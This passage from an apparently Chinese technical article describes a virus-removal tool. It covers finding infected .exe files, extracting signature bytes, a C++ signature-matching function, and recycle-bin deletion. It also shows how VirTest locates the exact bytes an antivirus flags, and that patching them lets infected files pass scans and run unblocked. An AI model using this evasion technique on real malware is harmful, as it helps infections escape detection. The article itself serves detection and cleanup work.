!important;">printf</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;%d&#34;</span>, result.size());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">49</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">50</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">主要就是递归搜索所有exe后缀的文件，然后存在vector中。</p><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">2.病毒特征码提取</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">特征码可能是病毒的感染标记，也可能是若干计算机指令组成的一段计算机程序。特征码的提取方式有多种，例如该病毒中存在字符串<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">Groud</code>，可以以此作为特征码。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.471190781049936" title="img" data-type="png" data-w="781" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7126a091&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdHg6tU2vUqlvIkjKAs1ucAhW8G1ox3cxPYBibWCczsxTVAtSHknEibKgg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">搜索字符串<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">Ground</code>，有多处存在，挑选一处。如上图所示，如果位置<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">0x59B53</code>-<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">0x59B59</code>为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">47 72 6F 75 6E 64</code>则认为该文件为病毒文件。这是根据字符串特征来搜索的，可能会不太准确，也可以采用病毒查杀的方式来定位特征码。可以使用工具MYCCL3.0或者VirTest5.0。这里使用的是VirTest5.0。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">根据工具的使用说明来制作测试文件和载入测试文件。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.6495633187772926" title="img" data-type="png" data-w="916" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5ee7077b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdFSwtJwVPDWDNstVUnCyNTu0cXS1K4dJ1ACoiaGbAjpWfqAhIbL4Sxlg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">接下来就是定位特征了，这里杀软使用了某绒。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.6495633187772926" title="img" data-type="png" data-w="916" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=902a00a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdtpRvRHPFIKmRcLQzVkw7J1vKS1fIeyJgI0G3j4OympSnJK1URbpXGA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">最终定位到了偏移0x290-0x294，内容为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">046AF6EB</code>。我们来验证一下。将偏移0x290-0x294的数据nop后，针对该文件以及该文件感染的文件，用huorong杀毒扫描，提示无风险。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.6185185185185185" title="img" data-type="png" data-w="810" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=83a5b0e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdmaiac0jZeBOYicZXich9TXJopsXct1liazG4WQYticFibChBL3T3o5PAEicNQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">而且执行感染的文件，杀软也不会对其进行拦截。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.649867374005305" title="img" data-type="png" data-w="1131" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0def6e53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdg8okrHA2xhzYnrzHhvCRxbx4dc98WqYK8mSib4icjD9icavMich8iajTAKQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><blockquote style="box-sizing: border-box;padding: 15px 15px 15px 1rem;color: rgb(0, 0, 0);border-left-width: 5px;border-left-color: rgb(239, 112, 96);font-size: 0.9em;line-height: inherit;background: rgb(239, 235, 233);overflow: auto;overflow-wrap: normal;word-break: normal;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 2px;text-align: start;white-space: normal;word-spacing: 2px;"><p style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">当然可能由于这里是虚拟机，所以部分杀软某些功能未启动而导致。不过这里作为特征码也够了。</p></blockquote><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">有特征码了，就可以根据该特征码来判断文件是否是病毒文件，当然为了以防万一，可以综合多个特征码来进行判断。主要代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// 扫描特征码，对比</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">bool</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">GetPeSignature</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(LPCSTR FilePath)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span></span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>    boolean flag = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> count = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">typedef</span> <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">struct</span> _<span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">SIGN</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>    {</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span> FileName[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">64</span>];         <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// 存储文件名或特征描述</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>        LONG FileOffset;           <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// 存储检测文件偏移地址</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>        BYTE VirusSign[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">4</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>];    <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// 存储特征码大小4,其中的1是结束符.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>    }SIGN, *pSIGN;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// 定义特征码与特征描述信息</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>    SIGN Sign[] = {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>        {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;HuoRong&#34;</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x2970</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\x04\x6a\xf6\xeb&#34;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>        },<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>        {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;360_1&#34;</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x61c6b</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\x8B\x75\xF0\x8B&#34;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>        },<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>        {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;360_2&#34;</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x738E5</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\xC4\x07\x00\xBC&#34;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>        }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>    };<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>    DWORD dwNum = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>    BYTE buffer[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">4</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>    HANDLE hFile = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// 获取到FilePath路径下文件的句柄信息</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span>    hFile = CreateFile(FilePath, GENERIC_READ , <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">/*DWORD error = GetLastError();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span>    cout &lt;&lt; hFile &lt;&lt; error &lt;&lt; endl;*/</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">41</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> x = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; x &lt; (<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(Sign) / <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(Sign[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>])); x++)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">42</span>    {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">43</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// 将待检测程序的文件指针指向特征码的偏移位置</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">44</span>        SetFilePointer(hFile, Sign[x].FileOffset, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, FILE_BEGIN);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">45</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// 读取目标程序指定位置的特征码到内存中</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">46</span>        ReadFile(hFile, buffer, <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(buffer), &amp;dwNum, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">47</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">// 对比内存中两个特征码是否相等</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">48</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">memcmp</span>(Sign[x].VirusSign, buffer, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>) == <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">49</span>        {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">50</span>            count++;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">51</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">//printf(&#34;匹配特征: %s \n&#34;, Sign[x].FileName);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">52</span>        }   <br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">53</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">54</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (count == <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(Sign) / <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(Sign[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>])) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">55</span>        flag = <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">true</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">56</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">57</span>    CloseHandle(hFile);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">58</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> flag;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">59</span>}<br/></code></pre><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">3.删除病毒，恢复原文件</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">接下来就是删除病毒和恢复文件了，可以直接使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">remove()</code>来删除文件，但是为了防止删错文件，因此这里将文件删除到了回收站。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">BOOL <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">delFiletoRecycle</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(LPCTSTR pszPath, BOOL bDelete<span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">/*=FALSE*/</span>)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span></span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>    SHFILEOPSTRUCT  shDelFile;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">memset</span>(&amp;shDelFile, <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(SHFILEOPSTRUCT));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>    shDelFile.fFlags |= FOF_SILENT;      <span style="font-size: 